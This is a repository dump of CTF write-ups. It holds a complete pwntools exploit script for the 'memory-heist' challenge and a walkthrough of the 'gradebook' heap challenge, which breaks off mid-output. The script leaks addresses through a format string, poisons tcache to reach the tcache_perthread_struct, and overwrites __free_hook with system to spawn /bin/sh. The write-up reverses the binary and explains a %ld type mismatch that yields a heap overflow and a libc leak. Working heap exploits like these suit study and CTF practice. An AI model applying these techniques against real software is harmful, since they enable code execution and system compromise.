https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/IJCTF21/memory-heist/ld.so -------------------------------------------------------------------------------- /IJCTF21/memory-heist/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/volticks/CTF-Writeups/0cc9ce5979b0562bc4581b01360b24542e5af478/IJCTF21/memory-heist/libc.so.6 -------------------------------------------------------------------------------- /IJCTF21/memory-heist/sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | binary = "./memory-heist" 4 | #script = ''' 5 | # 6 | #b *main-0x5f 7 | #''' 8 | 9 | # muh debugging 10 | def attach_stop(p): 11 | gdb.attach(p) 12 | raw_input() 13 | 14 | # allocate a chunk 15 | def alloc(idx,size,data): 16 | p.sendlineafter('> ','1') 17 | p.sendlineafter('> ',str(idx)) 18 | p.sendlineafter('> ',str(size)) 19 | p.sendafter('Memory> ',data) 20 | 21 | # free a chunk 22 | def sice(idx): 23 | p.sendlineafter('> ','2') 24 | p.sendlineafter('> ', str(idx)) 25 | 26 | # view a chunk - this also wipes out half of our `chunks` array 27 | def view(idx,kek): 28 | p.sendlineafter('> ','3') 29 | p.sendlineafter('[Y/N]> ',kek) 30 | p.sendlineafter('> ',str(idx)) 31 | return p.recvline().split(b':')[1] 32 | 33 | # start 34 | if __name__ == "__main__": 35 | p = process(binary) 36 | #p = remote('35.244.10.136', 10253) 37 | 38 | # This section is used to construct a free unsortedbin chunk '7' that will be used later for consolidation with other chunks. 39 | alloc(1, 0x208,'hk') # not consolidated - will be overwritten + lost. This isn't used for anything else. 40 | 41 | # Will be placed in unsorted-bin. This is very, very important since any other type of chunk cannot we re-used as easily 42 | # and be used by nearby free chunks. Which is something we need to happen. (consolidation) 43 | alloc(7, 0x2000,'hk') # for consoliation, is size arbitrary? Sort of. 44 | 45 | # Stops consolidation beyond this point (tcache is never consolidated). This chunk will also be used to ensure that 46 | # at least 2 chunks reside in the tcache later. 47 | alloc(9, 0x100, 'HKHK') # not consoldiated - read above 48 | 49 | # Used for our leaks 50 | alloc(11, 0x100, '%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') # leaky chunk 51 | #attach_stop(p) 52 | # Free chunk (unsortedbin) | PREV_INUSE 53 | # Addr: 0x5624fdace4b0 54 | # Size: 0x2011 55 | # fd: 0x7f7ebce2bbe0 56 | # bk: 0x7f7ebce2bbe0 57 | sice(7) 58 | 59 | #attach_stop(p) 60 | sice(9) # tcache 61 | 62 | # Now we use chunk 11 + the format vuln to leak some ptrs. Leaks from internal rsp: 63 | #00:0000│ rsp 0x7ffea81c3040 —▸ 0x5629ad7d01b0 (_start) ◂— endbr64 64 | #01:0008│ 0x7ffea81c3048 ◂— 0xb /* '\x0b' */ 65 | #02:0010│ 0x7ffea81c3050 ◂— 0x1 66 | #03:0018│ 0x7ffea81c3058 —▸ 0x5629aef35605 ◂— 0x0 67 | #04:0020│ 0x7ffea81c3060 ◂— 0xa61 /* 'a\n' */ 68 | #05:0028│ 0x7ffea81c3068 ◂— 0x2e2f4ca7c4a95d00 69 | #06:0030│ rbp 0x7ffea81c3070 —▸ 0x7ffea81c3090 ◂— 0x0 70 | #07:0038│ 0x7ffea81c3078 —▸ 0x5629ad7d08b7 (main+108) ◂— jmp 0x5629ad7d08cf 71 | # This process also whipes our over hapf of our allocations, meaning most have been overwritten by this point. 72 | leaks = view(11,'a').strip() 73 | print(leaks.split(b'0x')) 74 | heap_base = (int(b'0x' + leaks.split(b'0x')[8],0)&0xfffffffffffff000) - 0x2000 75 | pie_base = int(b'0x' + leaks.split(b'0x')[5],0) - 0x11b0 76 | libc_base = int(b'0x' + leaks.split(b'0x')[15],0) - 0x270b3 77 | print(f'Heap base: {hex(heap_base)}') 78 | print(f'Pie leak: {hex(pie_base)}') 79 | print(f'Libc base: {hex(libc_base)}') 80 | 81 | # 2 more largebin chunks... Allocating these will take away 0x500 from '7' each time, this can happen as 0 and 2 are 82 | # adjacent to the '7' chunk: 83 | # 84 | # Allocated chunk | PREV_INUSE 85 | # Addr: 0x557b358bb4b0 86 | # Size: 0x511 87 | # 88 | # Allocated chunk | PREV_INUSE 89 | # Addr: 0x557b358bb9c0 90 | # Size: 0x511 91 | # 92 | # Free chunk (unsortedbin) | PREV_INUSE 93 | # Addr: 0x557b358bbed0 94 | # Size: 0x15f1 95 | # fd: 0x7effd671dbe0 96 | # bk: 0x7effd671dbe0 97 | 98 | alloc(0, 0x500, 'hk') 99 | alloc(2, 0x500, 'hk') 100 | #attach_stop(p) 101 | # Then free'ing them will add them back together with chunk 7, but storing references to each chunk as well. 102 | 103 | # Free them both - these will be consolidated back with chunk 7 which is free, however the new pointer for this big chunk 104 | # will be stored at '0' since that is where the consolidation will start (0 was allocated first). This means that we now 105 | # have chunk pointers stored that refer INSIDE chunk 7 106 | #attach_stop(p) 107 | sice(0) 108 | sice(2) 109 | 110 | #attach_stop(p) 111 | 112 | # This will give us chunk 7 back, this is because the size of allocations 3, 5, and 7 once consolidated will result in a size 113 | # of 0x2000. This changes the size for the stored chunk, 2. 114 | # This constructs a fake set of chunks inside '4'. Basically looks like this: 115 | #a1:0508│ 0x55e8a15dc9c8 ◂— 0x111 <------ this - 8 is the pointer to chunk 2. 116 | #a2:0510│ 0x55e8a15dc9d0 ◂— 0x4141414141414141 ('AAAAAAAA') <-- contents dont matter 117 | #... ↓ 118 | #c3:0618│ 0x55e8a15dcad8 ◂— 0x21 /* '!' */ <------ in order to make it look authentic, we have another chunk 119 | #c4:0620│ 0x55e8a15dcae0 ◂— 0x0 at 2+size. This will bypass any free() protection and allow us 120 | # to construct a fake chunk, 2 121 | alloc(4, 0x2000, b'A'*0x508 + p64(0x111) )#+ b'A'*0x108 + p64(0x21)) 122 | 123 | # Now that we have constructed the fake chunks, we can free them again and have them added to the corresponding bin. 124 | # (2 will go in tcache), next to our old chunk '9' which we allocated earlier. 125 | sice(2) 126 | sice(0) 127 | 128 | # Chunk 2 is now a valid tcache chunk, and looks like this: 129 | # 0: 0x4141414141414141 0x0000000000000111 <----- faked size 130 | # 16: 0x00005600daad54d0 0x00005600daad3010 <------ pointer back to `entries` 131 | # ^ points to chunk 9, next in 0x100 bin. 132 | # This is good for us because now chunk 2, which is free is located inside chunk 0. This means if we decide to use 0 again 133 | # we can overwrite 2's metadata: 134 | alloc(6, 0x2000, b'A'*0x508 + p64(0x111) + p64(pie_base + 0x4060)) 135 | # 2 now has the 'next' ptr that points into the `chunks` array, in the .bss: 136 | # 137 | # tcachebins 0x110 [ 2]: 0x55734ce7f9d0 —▸ 0x55734c71a060 (chunks) —▸ 0x55734ce7f4c0 ◂— ... 138 | # 139 | # We can see that the first element of chunks is our idx 0 allocation, which is correct. 140 | # Next, we consume one entry from our corrupted tcache: 141 | alloc(8, 0x100, b'A') 142 | 143 | #attach_stop(p) 144 | 145 | # Now the next entry in our tcache is the chunks array ;))))) 146 | # 147 | # tcachebins 0x110 [ 1]: 0x5559267b4060 (chunks) —▸ 0x5559277bb4c0 ◂— ... 148 | # 149 | # This means the next allocation that is below 0x110 will recieve the chunks array. Additionally 150 | # there is a check in delete() that checks if we have overwrote the __free_hook. In order to bypass this 151 | # we overwrite the pointer with a null pointer so it believes that nothing has changed, thus we are still 152 | # able to call free() with a modified hook when the time comes. 153 | alloc(10, 0x100, p64(heap_base + 0x10) + p64(0)*11 + p64(heap_base + 0x400)) 154 | 155 | # We use this ability to overwrite the entire chunks array: 156 | # V idx '0' now points to the first chunk on the heap - this is where the tcache 157 | # `tcache_perthread_struct` struct is stored. 158 | # 0x5577491b2060 : 0x000055774ad5b010 0x0000000000000000 159 | # 0x5577491b2070 : 0x0000000000000000 0x0000000000000000 160 | # 0x5577491b2080 : 0x0000000000000000 0x0000000000000000 161 | # 0x5577491b2090 : 0x0000000000000000 0x0000000000000000 162 | # 0x5577491b20a0 : 0x0000000000000000 0x0000000000000000 163 | # 0x5577491b20b0 : 0x0000000000000000 0x0000000000000000 164 | # 0x5577491b20c0 : 0x000055774ad5b400 <------ we also overwrite a copy of the __free_hook. 165 | 166 | # Now, when we free 0, this will make the actual `tcahe_perthreadd_struct` struct available, thus enabling the person with 167 | #control over the allocation to make any number of fake tcache bins, with fake entries inside them. Basically we win. 168 | sice(0) 169 | 170 | # Heres what `tcache_perthread_struct` looks like after that free(): 171 | # { 172 | # counts = {0, 0, 0, 0, 8208, 34189, 22038, 0 , 1, 0 }, 173 | # entries = {0x0 , 0x5616858d24c0, 0x0 , 0x5616858d2010, 0x0 } 174 | # } 175 | # Pretty fucked up, huh? 176 | 177 | # We now overwrite the entries of the first bin, with the __morecore_hook address in libc. 178 | # This means that the next allocation that takes from bin one (size 16) will recieve a chunk @ __morecore_hook. 179 | # '\1'*0x80 to overwrite `counts`, then the addr will overwrite the first entry in `entries` 180 | # Size needs to be what it is bcuz the perthread struct chunk IS a certain size. 181 | #alloc(1, 0x288-2, b'\1'*0x80 + p64(libc_base + 0x1eeb20)) 182 | alloc(1, 0x280, b'\1'*0x80 + p64(libc_base + 0x1eeb20)) 183 | 184 | # pwndbg> x/13gx &chunks 185 | # 0x55f25ba51060 : 0x000055f25c522010 0x000055f25c522010 186 | # 0x55f25ba51070 : 0x00007fe975d54b20 0x0000000000000000 187 | # 0x55f25ba51080 : 0x0000000000000000 0x0000000000000000 188 | # 0x55f25ba51090 : 0x0000000000000000 0x0000000000000000 189 | # 0x55f25ba510a0 : 0x0000000000000000 0x0000000000000000 190 | # 0x55f25ba510b0 : 0x0000000000000000 0x0000000000000000 191 | # 0x55f25ba510c0 : 0x000055f25c522400 192 | # pwndbg> x/2gx 0x00007fe975d54b20 193 | # 0x7fe975d54b20 <__after_morecore_hook>: 0x0068732f6e69622f 0x00007fe975bbb410 194 | # pwndbg> x/gx 0x7fe975d54b20+8 195 | # 0x7fe975d54b28 <__free_hook>: 0x00007fe975bbb410 196 | # pwndbg> 197 | 198 | # Now we write b'/bin/sh\0' into __after_morecore_hook. And at __after_moercore_hook+8 (__free_hook) we place __libc_system. 199 | #Now when we free(chunks[2]) we will be doing free('/bin/sh\0');, and since we overwrite __free_hook we will call 200 | # system('/bin/sh'); 201 | alloc(2, 0x16, b'/bin/sh\0'+p64(libc_base + 0x55410)) 202 | # Do it xPPPP 203 | sice(2) 204 | p.interactive() 205 | -------------------------------------------------------------------------------- /K3RN3LCTF_21/gradebook/README.md: -------------------------------------------------------------------------------- 1 | So for the past little while I didn't really have anything to write about, i haven't been competing too much in CTF, but this weekend [K3RN3L CTF](https://ctftime.org/event/1438) came around. There was quite alot of fun challenges, one of which was gradebook. 2 | 3 | # Intro 4 | 5 | ## Description 6 | 7 | `My teachers been using a commandline gradebook made by a first year student, must be vulnerable somehow.` 8 | 9 | Is that so? (you can find chall+exp files and libc+ld over [here](https://github.com/volticks/CTF-Writeups)) 10 | Were given a libc, so after we patch it in we can start: 11 | 12 | `patchelf ./gradebook --replace-needed libc.so.6 ./libc.so.6` 13 | 14 | ## Reversing 15 | 16 | Its apparent from the outset that this challenge seems to follow a similar formula to a heap note challenge. 17 | 18 | ``` 19 | ~/Documents/k3rn3l21/gradebook❯❯❯ ./gradebook 20 | Student Gradebook 21 | 1. Add Student to Gradebook 22 | 2. List Students in Gradebook 23 | 3. Update Student grade 24 | 4. Update Student name 25 | 5. Clear Gradebook 26 | 6. Exit Gradebook 27 | > 28 | ``` 29 | 30 | Lets take a look into `main`: 31 | 32 | ```c 33 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) 34 | { 35 | int choice; // [rsp+4h] [rbp-Ch] BYREF 36 | unsigned __int64 v4; // [rsp+8h] [rbp-8h] 37 | 38 | v4 = __readfsqword(0x28u); 39 | setbuf(stdin, 0LL); 40 | setbuf(stdout, 0LL); 41 | puts("Student Gradebook"); 42 | while ( 1 ) 43 | { 44 | puts("1. Add Student to Gradebook"); 45 | puts("2. List Students in Gradebook"); 46 | puts("3. Update Student grade"); 47 | puts("4. Update Student name"); 48 | puts("5. Clear Gradebook"); 49 | puts("6. Exit Gradebook"); 50 | printf("> "); 51 | __isoc99_scanf("%d", &choice); 52 | putchar(10); 53 | switch ( choice ) 54 | { 55 | case 1: 56 | if ( total_students > 9 ) 57 | puts("Class is full!"); 58 | else 59 | add_student(); 60 | break; 61 | case 2: 62 | list_students(); 63 | break; 64 | case 3: 65 | update_grade(); 66 | break; 67 | case 4: 68 | update_name(); 69 | break; 70 | case 5: 71 | close_gradebook(); 72 | total_students = 0; 73 | break; 74 | default: 75 | puts("Invalid Choice!"); 76 | break; 77 | } 78 | } 79 | } 80 | ``` 81 | 82 | Seems pretty basic, looks as if we can only call `add_student` 10 times tho. Lets take a look at that function first. 83 | 84 | #### add_student 85 | 86 | ```c 87 | __int64 add_student() 88 | { 89 | struct_s *s; // [rsp+0h] [rbp-20h] 90 | void *buf; // [rsp+8h] [rbp-18h] 91 | char src[8]; // [rsp+10h] [rbp-10h] BYREF 92 | unsigned __int64 v4; // [rsp+18h] [rbp-8h] 93 | 94 | v4 = __readfsqword(0x28u); 95 | s = (struct_s *)malloc(0x18uLL); 96 | memset(s, 0, sizeof(struct_s)); // nulls out 24 bytes (aka, nobugs) 97 | puts("Enter student id: "); 98 | __isoc99_scanf("%8s", src); 99 | if ( (unsigned int)lookup(src) == -1 ) // try to find student ID in list of students 100 | { 101 | strncpy(s->ID, src, 8uLL); 102 | s->grade = -1; // grade - to be entered 103 | puts("Enter student name length: "); 104 | __isoc99_scanf("%d", &s->name_length); 105 | buf = malloc(s->name_length); // alloc from provided student name length 106 | memset(buf, 0, 8uLL); // clear first 8 bytes to elimin8 leaks, what if there is another value? 107 | puts("Enter student name: "); 108 | read(0, buf, s->name_length); 109 | s->name = (char *)buf; 110 | STUDENTS[total_students++] = s; // new student 111 | return 1LL; 112 | } 113 | else 114 | { 115 | puts("Student ID already taken!"); 116 | return 0xFFFFFFFFLL; 117 | } 118 | } 119 | ``` 120 | 121 | I defined a structure in the code to make it more readable; if you wanna do the same, simply go into IDA, right click and select `Create new struct type`, after that enter the following, or whatever structure you are defining: 122 | 123 | ```c 124 | struct struct_s { 125 | char ID[8]; 126 | int grade; 127 | int name_length; 128 | char *name; 129 | } 130 | ``` 131 | 132 | Then set the corresponding variable to this new type. 133 | 134 | First we allocate space for our new structure then null the first 24 bytes: 135 | 136 | ```c 137 | s = (struct_s *)malloc(0x18uLL); 138 | memset(s, 0, sizeof(struct_s)); // nulls out 24 bytes (aka, nobugs) 139 | puts("Enter student id: "); 140 | __isoc99_scanf("%8s", src); 141 | ``` 142 | 143 | After this, we enter an ID for a new student. Next we look to see if this ID already exists via the `lookup` function: 144 | 145 | ```c 146 | __int64 __fastcall lookup(const char *a1) 147 | { 148 | int i; // [rsp+1Ch] [rbp-4h] 149 | 150 | for ( i = 0; i < total_students; ++i ) 151 | { 152 | if ( !strncmp(STUDENTS[i]->ID, a1, 8uLL) ) 153 | return (unsigned int)i; 154 | } 155 | return 0xFFFFFFFFLL; 156 | } 157 | ``` 158 | 159 | Simple enough, iterate through `STUDENTS`, which is a list of students to see if any of the ID's match, if they do then return the idx in students where the duplicate was found. 160 | 161 | If we didnt find it, simply return `-1`. Coming back into `add_student`, we see that if no student with said ID was found, we create the student. 162 | 163 | Not something too important, but notice that even if the student ID is in use, we allocate space for a new student before the check, seems a bit wasteful but this was allegedly programmed by "a first year student" so no surprises there (this also seems like a real mistake I would make lol). 164 | 165 | ```c 166 | if ( (unsigned int)lookup(src) == -1 ) // try to find student ID in list of students 167 | { 168 | strncpy(s->ID, src, 8uLL); 169 | s->grade = -1; // grade - to be entered 170 | ``` 171 | 172 | We copy the ID over into our newly allocated structure, also setting the grade for this student to `-1` which is a placeholder for when we insert tge grade later. 173 | 174 | After this its time to insert the name of the student: 175 | 176 | ```c 177 | puts("Enter student name length: "); 178 | __isoc99_scanf("%d", &s->name_length); 179 | buf = malloc(s->name_length); // alloc from provided student name length 180 | memset(buf, 0, 8uLL); // clear first 8 bytes to elimin8 leaks, what if there is another value? 181 | puts("Enter student name: "); 182 | read(0, buf, s->name_length); 183 | s->name = (char *)buf; 184 | ``` 185 | 186 | First we enter the length, then allocate a chunk of that size to hold the name. We then null the first 8 bytes of the chunk, to avoid leaks. Next we enter student name and write it into the struct. 187 | 188 | Finally we finish and return, but not before writing our new student into the array and incrementing `total_students`. 189 | 190 | ```c 191 | STUDENTS[total_students++] = s; // new student 192 | return 1LL; 193 | } 194 | ``` 195 | 196 | #### list_students 197 | 198 | ```c 199 | __int64 list_students() 200 | { 201 | __int64 result; // rax 202 | int i; // [rsp+Ch] [rbp-4h] 203 | 204 | for ( i = 0; ; ++i ) 205 | { 206 | result = (unsigned int)total_students; 207 | if ( i >= total_students ) 208 | break; 209 | printf("NAME: %s\n", STUDENTS[i]->name); 210 | printf("STUDENT ID: %s\n", STUDENTS[i]->ID);// hmmm 211 | if ( STUDENTS[i]->grade == -1 ) 212 | puts("GRADE: Not Entered Yet"); 213 | else 214 | printf("GRADE: %d\n", (unsigned int)STUDENTS[i]->grade); 215 | puts("____________________________"); 216 | } 217 | return result; 218 | } 219 | ``` 220 | This is pretty easy to understand, simply go through the list of students and print out details such as a student's grades and name. 221 | 222 | #### update_grade 223 | 224 | ```c 225 | __int64 update_grade() 226 | { 227 | int v1; // [rsp+Ch] [rbp-14h] 228 | char v2[8]; // [rsp+10h] [rbp-10h] BYREF 229 | unsigned __int64 v3; // [rsp+18h] [rbp-8h] 230 | 231 | v3 = __readfsqword(0x28u); 232 | puts("Enter student id: "); 233 | __isoc99_scanf("%8s", v2); 234 | v1 = lookup(v2); 235 | if ( v1 == -1 ) 236 | { 237 | puts("Student not found!"); 238 | return 0xFFFFFFFFLL; 239 | } 240 | else 241 | { 242 | printf("Enter grade: "); 243 | __isoc99_scanf("%ld", &STUDENTS[v1]->grade);// you can still enter a huge grade, even if it tries to stop you afterwards. 244 | if ( STUDENTS[v1]->grade <= 100 && STUDENTS[v1]->grade >= 0 )// done well, even checks for negative 245 | { 246 | return 1LL; 247 | } 248 | else 249 | { 250 | puts("Grade must be between 0 and 100"); 251 | STUDENTS[v1]->grade = -1; 252 | return 0xFFFFFFFFLL; 253 | } 254 | } 255 | } 256 | ``` 257 | This simply attemps to find a student based on the ID, if student is found use the returned idx to edit the students grades, provided they are not above a certain threshold. If the grade does happen to be higher than 100, or less than 0 then we replace the grade with the `-1` placeholder again. 258 | 259 | Take note of the format string used to enter the grade, also note that grade variable is only 4 bytes wide. This will be relevant later ;). 260 | 261 | #### update_name 262 | 263 | ```c 264 | ssize_t update_name() 265 | { 266 | int v1; // [rsp+Ch] [rbp-14h] 267 | char v2[8]; // [rsp+10h] [rbp-10h] BYREF 268 | unsigned __int64 v3; // [rsp+18h] [rbp-8h] 269 | 270 | v3 = __readfsqword(0x28u); 271 | puts("Enter student id: "); 272 | __isoc99_scanf("%8s", v2); 273 | v1 = lookup(v2); 274 | if ( v1 == -1 ) 275 | { 276 | puts("Student not found!"); 277 | return 0xFFFFFFFFLL; 278 | } 279 | else 280 | { 281 | puts("Enter student name: "); 282 | return read(0, STUDENTS[v1]->name, STUDENTS[v1]->name_length); 283 | } 284 | } 285 | ``` 286 | 287 | Again, similar principle to the latter; look for an ID in `STUDENTS`, if you find it, change the name with the length value found in the struct. 288 | 289 | #### close_gradebook 290 | 291 | ```c 292 | __int64 close_gradebook() 293 | { 294 | int i; // [rsp+Ch] [rbp-4h] 295 | 296 | for ( i = 0; i < total_students; ++i ) 297 | { 298 | free(STUDENTS[i]->name); // correct order for frees aswell :/ 299 | STUDENTS[i]->name = 0LL; 300 | free(STUDENTS[i]); 301 | STUDENTS[i] = 0LL; 302 | } 303 | return 1LL; 304 | } 305 | ``` 306 | All this does is free + null out every student + student name. After which we set `total_students` = 0 so even if students were not nulled, there would be no way to free them twice. 307 | 308 | Now that we have a good idea what each function does, we can see how to exploit it. 309 | 310 | # Exploitation 311 | 312 | ## Leaks 313 | 314 | Before we go any further, note the protections on the binary: 315 | 316 | ``` 317 | Arch: amd64-64-little 318 | RELRO: Full RELRO 319 | Stack: Canary found 320 | NX: NX enabled 321 | PIE: PIE enabled 322 | ``` 323 | 324 | To put it bluntly, were gonna need at least a libc leak before we can go further, unless we find a primitive for a partial overwrite (spoilers: i didnt find any). 325 | 326 | Let me draw your attention to `add_student` for a minute, specifically these lines, and their accompanying comment: 327 | 328 | ```c 329 | buf = malloc(s->name_length); // alloc from provided student name length 330 | memset(buf, 0, 8uLL); // clear first 8 bytes to elimin8 leaks, what if there is another value? 331 | ``` 332 | 333 | Like the comment says, this is here to stop us from leaking an address left after the name chunk is re-used, however it doesnt take into account `bk`. Lets take a look at the [chunk structure](https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L1048) for glibc 2.31: 334 | 335 | ```c 336 | struct malloc_chunk { 337 | 338 | INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ 339 | INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ 340 | 341 | struct malloc_chunk* fd; /* double links -- used only if free. */ 342 | struct malloc_chunk* bk; 343 | 344 | /* Only used for large blocks: pointer to next larger size. */ 345 | struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ 346 | struct malloc_chunk* bk_nextsize; 347 | } 348 | ``` 349 | As you probably know, the chunk that the user of `malloc` recieves points to where `fd` would be in memory; by clearing the first 8 bytes of said memory we clear the `fd` pointer. But as the comment says these are double links, meaning both can be used. 350 | 351 | A simple tcache or fastbin which is organized as a singly linked list only needs `fd`, which the `memset` call correctly clears, however chunks in the large and unsorted bin are a `double` linked list. I think you know where i'm going with this. 352 | 353 | It gets better - chunks free'd into the unsorted-bin have their `bk` pointing back into libc where the bin-list starts: 354 | 355 | ```c 356 | if (nextchunk != av->top) { 357 | // [...] 358 | /* 359 | Place the chunk in unsorted chunk list. Chunks are 360 | not placed into regular bins until after they have 361 | been given one chance to be used in malloc. 362 | */ 363 | 364 | bck = unsorted_chunks(av); // gets location of unsorted bin list - the offset of 'fd' in malloc_chunk (16) 365 | fwd = bck->fd; 366 | if (__glibc_unlikely (fwd->bk != bck)) 367 | malloc_printerr ("free(): corrupted unsorted chunks"); 368 | p->fd = fwd; 369 | p->bk = bck; 370 | ``` 371 | Theres only one issue: if we dont want our unsorted-bin chunk to immediately be consumed into the top chunk, as is its perogative, we need to fulfill the check which allows us to enter this branch of code in the first place (look at the top of the code snip). 372 | 373 | So we need to: 374 | 375 | 1. Allocate a student with a big name (at least unsorted-bin size) 376 | 2. Allocate another student, not unsorted size so it wont consolidate with top when free'd 377 | 3. Clear the gradebook, thus freeing both chunks. 378 | 4. Allocate the student with the big name size again, fill in the first 8 bytes but no more. 379 | 5. List students -> ptr to main_arena comes after the 8 bytes you filled. 380 | 381 | In hidnsight I realize now that allocating the student chunk before the ID is validated can be used to create a barrier dummy chunk without having to make a whole new student -_-. 382 | In action this looks like: 383 | 384 | ``` 385 | Enter student id: 386 | 0 387 | Enter student name length: 388 | 1500 389 | Enter student name: 390 | AAAAAAA 391 | 1. Add Student to Gradebook 392 | 2. List Students in Gradebook 393 | 3. Update Student grade 394 | 4. Update Student name 395 | 5. Clear Gradebook 396 | 6. Exit Gradebook 397 | > 2 398 | 399 | NAME: AAAAAAA 400 | �K��� <------------- leaks yay 401 | STUDENT ID: 0 402 | GRADE: Not Entered Yet 403 | ____________________________ 404 | 1. Add Student to Gradebook 405 | 2. List Students in Gradebook 406 | 3. Update Student grade 407 | 4. Update Student name 408 | 5. Clear Gradebook 409 | 6. Exit Gradebook 410 | > 411 | 412 | ``` 413 | 414 | ## Arbitrary write 415 | 416 | Remember earlier when I commented about the `%ld` format string used in update grade? 417 | 418 | Remember the layout of each student struct: 419 | 420 | ```c 421 | struct struct_s { 422 | char ID[8]; 423 | int grade; // we write an 8 byte number here 424 | int name_length; 425 | char *name; 426 | } 427 | ``` 428 | 429 | Now, take into account that `%ld` allows you to enter numbers up to 8 bytes. You see it yet? We can use this mismatch to overwrite not only grade, but all of name_length after the allocation for name has already been created. Thus we can use this to make a heap overflow 430 | 431 | Take a look at the chaos this can cause: 432 | 433 | ``` 434 | Student Gradebook 435 | 1. Add Student to Gradebook 436 | 2. List Students in Gradebook 437 | 3. Update Student grade 438 | 4. Update Student name 439 | 5. Clear Gradebook 440 | 6. Exit Gradebook 441 | > 1 442 | 443 | Enter student id: 444 | 0 445 | Enter student name length: 446 | 20 447 | Enter student name: 448 | asdf 449 | 1. Add Student to Gradebook 450 | 2. List Students in Gradebook 451 | 3. Update Student grade 452 | 4. Update Student name 453 | 5. Clear Gradebook 454 | 6. Exit Gradebook 455 | > 3 456 | 457 | Enter student id: 458 | 0 459 | Enter grade: 18446744073709551615 // == 0xffffffffffffffff 460 | Grade must be between 0 and 100 461 | 1. Add Student to Gradebook 462 | 2. List Students in Gradebook 463 | 3. Update Student grade 464 | 4. Update Student name 465 | 5. Clear Gradebook 466 | 6. Exit Gradebook 467 | > 4 468 | 469 | Enter student id: 470 | 0 471 | Enter student name: 472 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa 473 | 1. Add Student to Gradebook 474 | 2. List Students in Gradebook 475 | 3. Update Student grade 476 | 4. Update Student name 477 | 5. Clear Gradebook 478 | 6. Exit Gradebook 479 | > 480 | 481 | ``` 482 | Lets have a look at the top chunk now: 483 | 484 | ``` 485 | Chunk(addr=0x5555555592a0, size=0x20, flags=PREV_INUSE) 486 | [0x00005555555592a0 30 00 00 00 00 00 00 00 ff ff ff ff ff ff ff 7f 0...............] 487 | Chunk(addr=0x5555555592c0, size=0x20, flags=PREV_INUSE) 488 | [0x00005555555592c0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA] 489 | Chunk(addr=0x5555555592e0, size=0x4141414141414140, flags=PREV_INUSE) ← top chunk 490 | 491 | ``` 492 | >:) 493 | 494 | Now that we know how we have a heap overflow, how can we use this? Well another apect of the student struct is it stores the `name` pointer which can be written to via `update_name`. So if a student struct is stored AFTER our `name` buffer in memory we can completely overwrite all of its members, including the `name`. Since we also have a leak this is pretty much game over. 495 | 496 | If you look at the heap immediately after our unsorted bin shenanigans, you can see that: 497 | 498 | ``` 499 | Chunk(addr=0x55a886bef010, size=0x290, flags=PREV_INUSE) 500 | [0x000055a886bef010 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] 501 | Chunk(addr=0x55a886bef2a0, size=0x20, flags=PREV_INUSE) 502 | [0x000055a886bef2a0 00 00 00 00 00 00 00 00 10 f0 be 86 a8 55 00 00 .............U..] 503 | Chunk(addr=0x55a886bef2c0, size=0x510, flags=PREV_INUSE) // name buffer 504 | [0x000055a886bef2c0 41 41 41 41 41 41 41 41 e0 0b 07 ba f9 7f 00 00 AAAAAAAA........] 505 | Chunk(addr=0x55a886bef7d0, size=0x20, flags=PREV_INUSE) // student stucture for the above name 506 | [0x000055a886bef7d0 00 00 00 00 00 00 00 00 ff ff ff ff 00 05 00 00 ................] 507 | Chunk(addr=0x55a886bef7f0, size=0x30, flags=PREV_INUSE) 508 | [0x000055a886bef7f0 00 00 00 00 00 00 00 00 10 f0 be 86 a8 55 00 00 .............U..] 509 | Chunk(addr=0x55a886bef820, size=0x207f0, flags=PREV_INUSE) ← top chunk 510 | ``` 511 | 512 | Due to the way we get our leaks, the barrier chunk we allocate as a student is free'd, and is then consumed when we allocate another chunk for the leak AS THAT CHUNK's STUDENT STRUCTURE. 513 | 514 | This means that we can overwrite all members of the struct, including the `name` ptr. One thing to be aware of is that you will also smash the `ID`, so you need to set it back to a number/string you know so you can find struct again to overwrite the name. 515 | 516 | Another problem I had was I kept overwriting the name length with `0xffffffff`, because of this the `read` syscall in `update_name` was failing since the read length went outside the address space of the program - simply use a smaller value for this. 517 | 518 | ## What to write? 519 | 520 | We have a libc leak, and libc in use is 2.31 which means the various debugging hooks in libc (`__free_hook`, etc...) are still in use. Imma assume you know about these, but if you dont. 521 | 522 | ```c 523 | void 524 | __libc_free (void *mem) 525 | { 526 | mstate ar_ptr; 527 | mchunkptr p; /* chunk corresponding to mem */ 528 | 529 | void (*hook) (void *, const void *) 530 | = atomic_forced_read (__free_hook); 531 | if (__builtin_expect (hook != NULL, 0)) // if __free_hook != 0 532 | { 533 | (*hook)(mem, RETURN_ADDRESS (0)); // call whatever is there 534 | return; 535 | } 536 | ``` 537 | 538 | If we set the hook to any value other than 0, we get instant RCE. As a bonus the chunk passed to free is also the first argument, meanng if you control the data in the chunk, you may pass anything you want as the first argument. 539 | 540 | All my exploit does is set the new name ptr as `&__free_hook`, and overwriting it with `system`. Prior to freeing the chunks to trigger `system`, you must have a chunk which will be freed which contains your command, so you can execute `system(your_cmd)`. 541 | 542 | After overwriting name: 543 | 544 | ``` 545 | 0x0000556f775ac7d0│+0x0000: 0x0000000000000000 // id 546 | [length] [grade] 547 | 0x0000556f775ac7d8│+0x0008: 0x00000100ffffffff 548 | 0x0000556f775ac7e0│+0x0010: 0x00007f15844d1b28 → 0x0000000000000000 // name ptr (__free_hook) 549 | ``` 550 | 551 | And after the new name, `system` is written 552 | 553 | ``` 554 | 0x0000556f775ac7d0│+0x0000: 0x0000000000000000 555 | 0x0000556f775ac7d8│+0x0008: 0x00000100ffffffff 556 | 0x0000556f775ac7e0│+0x0010: 0x00007f15844d1b28 → 0x00007f1584338410 → endbr64 557 | ``` 558 | 559 | And finally, after we free: 560 | 561 | ``` 562 | $ ls -la 563 | [DEBUG] Sent 0x7 bytes: 564 | b'ls 